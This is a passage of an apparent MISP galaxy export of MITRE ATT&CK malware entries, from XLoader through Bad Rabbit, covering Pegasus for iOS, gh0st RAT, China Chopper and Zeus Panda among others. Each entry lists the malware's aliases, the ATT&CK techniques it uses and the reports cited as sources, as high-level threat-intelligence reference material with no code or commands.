- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5133. Table References

Links
https://attack.mitre.org/software/S0318
https://blog.trendmicro.com/trendlabs-security-intelligence/new-version-of-xloader-that-disguises-as-android-apps-and-an-ios-profile-holds-new-links-to-fakespy/
https://blog.trendmicro.com/trendlabs-security-intelligence/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing/

Pegasus for iOS - S0289

[Pegasus for iOS](https://attack.mitre.org/software/S0289) is the iOS version of malware that has reportedly been linked to the NSO Group. It has been advertised and sold to target high-value victims. (Citation: Lookout-Pegasus) (Citation: PegasusCitizenLab) The Android version is tracked separately under [Pegasus for Android](https://attack.mitre.org/software/S0316).

The tag is: *misp-galaxy:mitre-malware="Pegasus for iOS - S0289"*

Pegasus for iOS - S0289 is also known as:

- Pegasus for iOS

View relationships graph

Pegasus for iOS - S0289 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"

Table 5134. Table References

Links
https://attack.mitre.org/software/S0289
https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf

Exaramel for Windows - S0343

[Exaramel for Windows](https://attack.mitre.org/software/S0343) is a backdoor used for targeting

Windows systems. The Linux version is tracked separately under [Exaramel for Linux](https://attack.mitre.org/software/S0401).(Citation: ESET TeleBots Oct 2018)

The tag is: *misp-galaxy:mitre-malware="Exaramel for Windows - S0343"*

Exaramel for Windows - S0343 is also known as:

- Exaramel for Windows

View relationships graph

Exaramel for Windows - S0343 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 5135. Table References

Links
https://attack.mitre.org/software/S0343
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/

P.A.S. Webshell - S0598

[P.A.S. Webshell](https://attack.mitre.org/software/S0598) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)

The tag is: *misp-galaxy:mitre-malware="P.A.S. Webshell - S0598"*

P.A.S. Webshell - S0598 is also known as:

- P.A.S. Webshell
- Fobushell

View relationships graph

P.A.S. Webshell - S0598 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5136. Table References

Links
https://attack.mitre.org/software/S0598
https://us-cert.cisa.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf

gh0st RAT - S0032

[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups.(Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)

The tag is: *misp-galaxy:mitre-malware="gh0st RAT - S0032"*

gh0st RAT - S0032 is also known as:

- gh0st RAT
- Mydoor
- Moudoor

View relationships graph

gh0st RAT - S0032 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="gh0st" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5137. Table References

Links
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://attack.mitre.org/software/S0032
https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/
https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/
https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html

China Chopper - S0020

[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)

The tag is: *misp-galaxy:mitre-malware="China Chopper - S0020"*

China Chopper - S0020 is also known as:

- China Chopper

View relationships graph

China Chopper - S0020 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5138. Table References

Links
https://attack.mitre.org/software/S0020
https://us-cert.cisa.gov/ncas/alerts/aa21-200a
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

Skeleton Key - S0007

[Skeleton Key](https://attack.mitre.org/software/S0007) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to [Skeleton Key](https://attack.mitre.org/software/S0007) is included as a module in [Mimikatz](https://attack.mitre.org/software/S0002).

The tag is: *misp-galaxy:mitre-malware="Skeleton Key - S0007"*

Skeleton Key - S0007 is also known as:

- Skeleton Key

View relationships graph

Skeleton Key - S0007 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001" with estimative-language:likelihood-probability="almost-certain"

Table 5139. Table References

Links
https://attack.mitre.org/software/S0007
https://www.secureworks.com/research/skeleton-key-malware-analysis

P2P ZeuS - S0016

[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)

The tag is: *misp-galaxy:mitre-malware="P2P ZeuS - S0016"*

P2P ZeuS - S0016 is also known as:

- P2P ZeuS
- Peer-to-Peer ZeuS
- Gameover ZeuS

View relationships graph

P2P ZeuS - S0016 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 5140. Table References

Links

http://www.secureworks.com/cyber-threat-intelligence/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/
https://attack.mitre.org/software/S0016

Unknown Logger - S0130

[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)

The tag is: *misp-galaxy:mitre-malware="Unknown Logger - S0130"*

Unknown Logger - S0130 is also known as:

- Unknown Logger

View relationships graph

Unknown Logger - S0130 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5141. Table References

Links
https://attack.mitre.org/software/S0130
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

Cherry Picker - S0107

[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)

The tag is: *misp-galaxy:mitre-malware="Cherry Picker - S0107"*

Cherry Picker - S0107 is also known as:

- Cherry Picker

View relationships graph

Cherry Picker - S0107 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5142. Table References

Links
https://attack.mitre.org/software/S0107
https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/

Zeus Panda - S0330

[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)'s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)

The tag is: *misp-galaxy:mitre-malware="Zeus Panda - S0330"*

Zeus Panda - S0330 is also known as:

- Zeus Panda

View relationships graph

Zeus Panda - S0330 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 5143. Table References

Links
https://attack.mitre.org/software/S0330
https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf

SpyNote RAT - S0305

[SpyNote RAT](https://attack.mitre.org/software/S0305) (Remote Access Trojan) is a family of malicious Android apps. The [SpyNote RAT](https://attack.mitre.org/software/S0305) builder tool can be used to develop malicious apps with the malware's functionality. (Citation: Zscaler-SpyNote)

The tag is: *misp-galaxy:mitre-malware="SpyNote RAT - S0305"*

SpyNote RAT - S0305 is also known as:

- SpyNote RAT

View relationships graph

SpyNote RAT - S0305 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5144. Table References

Links
https://attack.mitre.org/software/S0305
https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app

3PARA RAT - S0066

[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-malware="3PARA RAT - S0066"*

3PARA RAT - S0066 is also known as:

- 3PARA RAT

View relationships graph

3PARA RAT - S0066 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="3PARA RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5145. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/software/S0066

Agent Smith - S0440

[Agent Smith](https://attack.mitre.org/software/S0440) is mobile malware that generates financial gain by replacing legitimate applications on devices with malicious versions that include fraudulent ads. As of July 2019 [Agent Smith](https://attack.mitre.org/software/S0440) had infected around 25 million devices, primarily targeting India though effects had been observed in other Asian countries as well as Saudi Arabia, the United Kingdom, and the United States.(Citation: CheckPoint Agent Smith)

The tag is: *misp-galaxy:mitre-malware="Agent Smith - S0440"*

Agent Smith - S0440 is also known as:

- Agent Smith

View relationships graph

Agent Smith - S0440 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Application Executable - T1577" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5146. Table References

Links
https://attack.mitre.org/software/S0440
https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/

4H RAT - S0065

[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-malware="4H RAT - S0065"*

4H RAT - S0065 is also known as:

- 4H RAT

View relationships graph

4H RAT - S0065 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="4H RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5147. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/software/S0065

Desert Scorpion - S0505

[Desert Scorpion](https://attack.mitre.org/software/S0505) is surveillanceware that has targeted the Middle East, specifically individuals located in Palestine. [Desert Scorpion](https://attack.mitre.org/software/S0505) is suspected to have been operated by the threat actor APT-C-23.(Citation: Lookout Desert Scorpion)

The tag is: *misp-galaxy:mitre-malware="Desert Scorpion - S0505"*

Desert Scorpion - S0505 is also known as:

- Desert Scorpion

View relationships graph

Desert Scorpion - S0505 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5148. Table References

Links
https://attack.mitre.org/software/S0505
https://blog.lookout.com/desert-scorpion-google-play

Net Crawler - S0056

[Net Crawler](https://attack.mitre.org/software/S0056) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://attack.mitre.org/software/S0029) to execute a copy of [Net Crawler](https://attack.mitre.org/software/S0056). (Citation: Cylance Cleaver)

The tag is: *misp-galaxy:mitre-malware="Net Crawler - S0056"*

Net Crawler - S0056 is also known as:

- Net Crawler
- NetC

View relationships graph

Net Crawler - S0056 has relationships with:

- similar: misp-galaxy:malpedia="NetC" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5149. Table References

Links
https://attack.mitre.org/software/S0056
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Bad Rabbit - S0606

[Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware)

